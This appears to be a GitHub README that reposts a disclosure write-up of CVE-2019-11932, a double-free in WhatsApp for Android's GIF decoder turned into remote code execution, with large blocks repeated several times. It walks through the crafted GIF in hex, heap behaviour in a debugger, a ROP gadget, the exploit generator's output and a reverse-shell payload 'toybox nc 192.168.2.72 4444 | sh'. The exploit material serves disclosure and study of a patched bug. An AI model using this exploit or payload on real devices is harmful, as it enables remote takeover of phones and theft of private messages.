Skip to content

infiniteLoopers/CVE-2019-11932

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2019-11932

How a double-free bug in WhatsApp turns to RCE

I’m going to share about a double-free vulnerability that I discovered in WhatsApp for Android, and how I turned it into an RCE. I informed this to Facebook. Facebook acknowledged and patched it officially in WhatsApp version 2.19.244. Facebook helped to reserve CVE-2019-11932 for this issue.

WhatsApp users, please do update to latest WhatsApp version (2.19.244 or above) to stay safe from this bug.

The steps are as below:

0:16 Attacker sends GIF file to user via any channels

One of them could be as Document via WhatsApp (i.e. pressing the Paper Clip button and choose Document to send the corrupted GIF) If the attacker is in the contact list of the user (i.e. a friend), the corrupted GIF is downloaded automatically without any user interaction.

0:24 User wants to send a media file to any of his/her WhatsApp friend. So the user presses on the Paper clip button and opens the WhatsApp Gallery to choose a media file to send to his friend.

Take note that the user does not have to send anything because just opening the WhatsApp Gallery will trigger the bug. No additional touch after pressing WhatsApp Gallery is necessary.

0:30 Since WhatsApp shows previews of every media (including the GIF file received), it will trigger the double-free bug and our RCE exploit.

Double-free vulnerability in DDGifSlurp in decoding.c in libpl_droidsonroids_gif

When a WhatsApp user opens Gallery view in WhatsApp to send a media file, WhatsApp parses it with a native library called libpl_droidsonroids_gif.so to generate the preview of the GIF file. libpl_droidsonroids_gif.so is an open-source library with source codes available at https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

A GIF file contains multiple encoded frames. To store the decoded frames, a buffer with name rasterBits is used. If all frames have the same size, rasterBits is re-used to store the decoded frames without re-allocation. However, rasterBits would be re-allocated if one of three conditions below is met:

width * height > originalWidth * originalHeight

width - originalWidth > 0

height - originalHeight > 0

Re-allocation is a combination of free and malloc. If the size of the re-allocation is 0, it is simply a free. Let say we have a GIF file that contains 3 frames that have sizes of 100, 0 and 0.

After the first re-allocation, we have info->rasterBits buffer of size 100.

In the second re-allocation of 0, info->rasterBits buffer is freed.

In the third re-allocation of 0, info->rasterBits is freed again.

This results in a double-free vulnerability. The triggering location can be found in decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }

How a double-free bug in WhatsApp turns to RCE 14 minute read ON THIS PAGE DEMO DOUBLE-FREE VULNERABILITY IN DDGIFSLURP IN DECODING.C IN LIBPL_DROIDSONROIDS_GIF CONTROLLING PC REGISTER DEAL WITH ASLR AND W^X PUTTING EVERYTHING TOGETHER AFFECTED VERSIONS ATTACK VECTORS In this blog post, I’m going to share about a double-free vulnerability that I discovered in WhatsApp for Android, and how I turned it into an RCE. I informed this to Facebook. Facebook acknowledged and patched it officially in WhatsApp version 2.19.244. Facebook helped to reserve CVE-2019-11932 for this issue.

WhatsApp users, please do update to latest WhatsApp version (2.19.244 or above) to stay safe from this bug.

Demo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view

Google Drive link to download if the above link is not accessible https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK

The steps are as below:

0:16 Attacker sends GIF file to user via any channels One of them could be as Document via WhatsApp (i.e. pressing the Paper Clip button and choose Document to send the corrupted GIF) If the attacker is in the contact list of the user (i.e. a friend), the corrupted GIF is downloaded automatically without any user interaction. 0:24 User wants to send a media file to any of his/her WhatsApp friend. So the user presses on the Paper clip button and opens the WhatsApp Gallery to choose a media file to send to his friend. Take note that the user does not have to send anything because just opening the WhatsApp Gallery will trigger the bug. No additional touch after pressing WhatsApp Gallery is necessary. 0:30 Since WhatsApp shows previews of every media (including the GIF file received), it will trigger the double-free bug and our RCE exploit. Double-free vulnerability in DDGifSlurp in decoding.c in libpl_droidsonroids_gif When a WhatsApp user opens Gallery view in WhatsApp to send a media file, WhatsApp parses it with a native library called libpl_droidsonroids_gif.so to generate the preview of the GIF file. libpl_droidsonroids_gif.so is an open-source library with source codes available at https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

A GIF file contains multiple encoded frames. To store the decoded frames, a buffer with name rasterBits is used. If all frames have the same size, rasterBits is re-used to store the decoded frames without re-allocation. However, rasterBits would be re-allocated if one of three conditions below is met:

width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 Re-allocation is a combination of free and malloc. If the size of the re-allocation is 0, it is simply a free. Let say we have a GIF file that contains 3 frames that have sizes of 100, 0 and 0.

After the first re-allocation, we have info->rasterBits buffer of size 100. In the second re-allocation of 0, info->rasterBits buffer is freed. In the third re-allocation of 0, info->rasterBits is freed again. This results in a double-free vulnerability. The triggering location can be found in decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }

In Android, a double-free of a memory with size N leads to two subsequent memory-allocation of size N returning the same address.

(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250

(lldb) p (int)free($foo) (int) $15 = 0

(lldb) p (int)free($foo) (int) $16 = 0

(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250

How a double-free bug in WhatsApp turns to RCE 14 minute read ON THIS PAGE DEMO DOUBLE-FREE VULNERABILITY IN DDGIFSLURP IN DECODING.C IN LIBPL_DROIDSONROIDS_GIF CONTROLLING PC REGISTER DEAL WITH ASLR AND W^X PUTTING EVERYTHING TOGETHER AFFECTED VERSIONS ATTACK VECTORS In this blog post, I’m going to share about a double-free vulnerability that I discovered in WhatsApp for Android, and how I turned it into an RCE. I informed this to Facebook. Facebook acknowledged and patched it officially in WhatsApp version 2.19.244. Facebook helped to reserve CVE-2019-11932 for this issue.

WhatsApp users, please do update to latest WhatsApp version (2.19.244 or above) to stay safe from this bug.

Demo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view

Google Drive link to download if the above link is not accessible https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK

The steps are as below:

0:16 Attacker sends GIF file to user via any channels One of them could be as Document via WhatsApp (i.e. pressing the Paper Clip button and choose Document to send the corrupted GIF) If the attacker is in the contact list of the user (i.e. a friend), the corrupted GIF is downloaded automatically without any user interaction. 0:24 User wants to send a media file to any of his/her WhatsApp friend. So the user presses on the Paper clip button and opens the WhatsApp Gallery to choose a media file to send to his friend. Take note that the user does not have to send anything because just opening the WhatsApp Gallery will trigger the bug. No additional touch after pressing WhatsApp Gallery is necessary. 0:30 Since WhatsApp shows previews of every media (including the GIF file received), it will trigger the double-free bug and our RCE exploit. Double-free vulnerability in DDGifSlurp in decoding.c in libpl_droidsonroids_gif When a WhatsApp user opens Gallery view in WhatsApp to send a media file, WhatsApp parses it with a native library called libpl_droidsonroids_gif.so to generate the preview of the GIF file. libpl_droidsonroids_gif.so is an open-source library with source codes available at https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

A GIF file contains multiple encoded frames. To store the decoded frames, a buffer with name rasterBits is used. If all frames have the same size, rasterBits is re-used to store the decoded frames without re-allocation. However, rasterBits would be re-allocated if one of three conditions below is met:

width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 Re-allocation is a combination of free and malloc. If the size of the re-allocation is 0, it is simply a free. Let say we have a GIF file that contains 3 frames that have sizes of 100, 0 and 0.

After the first re-allocation, we have info->rasterBits buffer of size 100. In the second re-allocation of 0, info->rasterBits buffer is freed. In the third re-allocation of 0, info->rasterBits is freed again. This results in a double-free vulnerability. The triggering location can be found in decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } In Android, a double-free of a memory with size N leads to two subsequent memory-allocation of size N returning the same address.

(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250

(lldb) p (int)free($foo) (int) $15 = 0

(lldb) p (int)free($foo) (int) $16 = 0

(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250

In the above snippet, variable $foo was freed twice. As a result, the next two allocations ($20 and $21) return the same address. Now look at struct GifInfo in gif.h struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };

We then craft a GIF file with three frames of below sizes: sizeof(GifInfo) 0 0

When the WhatsApp Gallery is opened, the said GIF file triggers the double-free bug on rasterBits buffer with size sizeof(GifInfo). Interestingly, in WhatsApp Gallery, a GIF file is parsed twice. When the said GIF file is parsed again, another GifInfo object is created. Because of the double-free behavior in Android, GifInfo info object and info->rasterBits will point to the same address. DDGifSlurp() will then decode the first frame to info->rasterBits buffer, thus overwriting info and its rewindFunction(), which is called right at the end of DDGifSlurp() function.

Controlling PC register

The GIF file that we need to craft is as below: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B

It contains four frames: Frame 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF Frame 2: 2C 00 00 00 00 1C 0F 00 00 00 00 Frame 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Frame 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 The below sequence is what happened when WhatsApp Gallery is opened:

First parse: Init: GifInfo info = malloc(168); Frame 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Frame 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Frame 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Frame 4: does not matter, it is there to make this GIF file valid Second parse: Init: GifInfo info = malloc(168); Frame 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Frame 2, 3, 4: does not matter End: info->rewindFunction(info); Because of the double-free bug occuring in the first parse, info and info->rasterBits now points to the same location. With the first frame crafted as said, we could control rewindFunction and PC when info->rewindFunction(info); is called. Take note that the frames are all LZW encoded. We must use an LZW encoder to encode the frames. The above GIF triggers crash as below:

--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc

Deal with ASLR and W^X

After controlling the PC, we want to achieve remote code execution. In Android, we can not execute code on non-executable regions due to W^X (i.e. stack and heap). The easiest way to deal with W^X in our case is to execute the below command:

system("toybox nc 192.168.2.72 4444 | sh"); For that, we need PC to point to system() function in libc.so and X0 to point to "toybox nc 192.168.2.72 4444 | sh". This cannot be done directly. We need to first let PC jumps to an intermediate gadget, which sets X0 to point to "toybox nc 192.168.2.72 4444 | sh" and jump to system(). From the disassembly code around info->rewindFunction(info);, we can see that both X0 and X19 point to info->rasterBits (or info, because they both point to the same location), while X8 is actually info->rewindFunction.

Disassembly around info->rewindFunction

There is a gadget in libhwui.so that perfectly satisfies our purpose:

ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 Let say the address of the above gadget is AAAAAAAA and the address of system() function is BBBBBBBB. The rasterBits buffer (frame 1) before LZW encoding look as below:

00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. In a normal Android system, because every processes are spawned from Zygotes, even with ASLR our addresses AAAAAAAA and BBBBBBBB do not change if WhatsApp is killed and restarted. However, they cannot persist a system reboot. To have reliable AAAAAAAA and BBBBBBBB, we need an information disclosure vulnerability that gives us the base address of libc.so and libhwui.so. That vulnerability is beyond scope of this blogpost.

Putting everything together

Just compile the code in this repo. Note that the address of system() and the gadget must be replaced by the actual address found by an information disclosure vulnerability (which is not covered in this blog post). /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);

size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);

Run the code to generate the corrupted GIF file:

notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B Then copy the content into a GIF file and send it as Document with WhatsApp to another WhatsApp user. Take note that it must not be sent as a Media file, otherwise WhatsApp tries to convert it into an MP4 before sending. Upon the user receives the malicous GIF file, nothing will happen until the user open WhatsApp Gallery to send a media file to his/her friend.

Affected versions

The exploit works well until WhatsApp version 2.19.230. The vulnerability is official patched in WhatsApp version 2.19.244

The exploit works well for Android 8.1 and 9.0, but does not work for Android 8.0 and below. In the older Android versions, double-free could still be triggered. However, because of the malloc calls by the system after the double-free, the app just crashes before reaching to the point that we could control the PC register.

Note that Facebook informed the developer of android-gif-drawable repo about the issue. The fix from Facebook was also merged into the original repo in a commit from August 10th. Version 1.2.18 of android-gif-drawable is safe from the double-free bug.

Attack vectors

With the above exploitation, we can have two attack vectors:

Local privilege escaltion (from a user app to WhatsApp): A malicious app is installed on the Android device. The app collects addresses of zygote libraries and generates a malicious GIF file that results in code execution in WhatsApp context. This allows the malware app to steal files in WhatsApp sandbox including message database. Remote code execution: Pairing with an application that has an remote memory information disclosure vulnerability (e.g. browser), the attacker can collect the addresses of zygote libraries and craft a malicious GIF file to send it to the user via WhatsApp (must be as an attachment, not as an image through Gallery Picker). As soon as the user opens the Gallery view in WhatsApp (who never sends media files to friends, right?), the GIF file will trigger a remote shell in WhatsApp context.

#Source Afnan Sadhayo Infiniteloopers.com

I don't own this , if you have issues please contact the owner

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages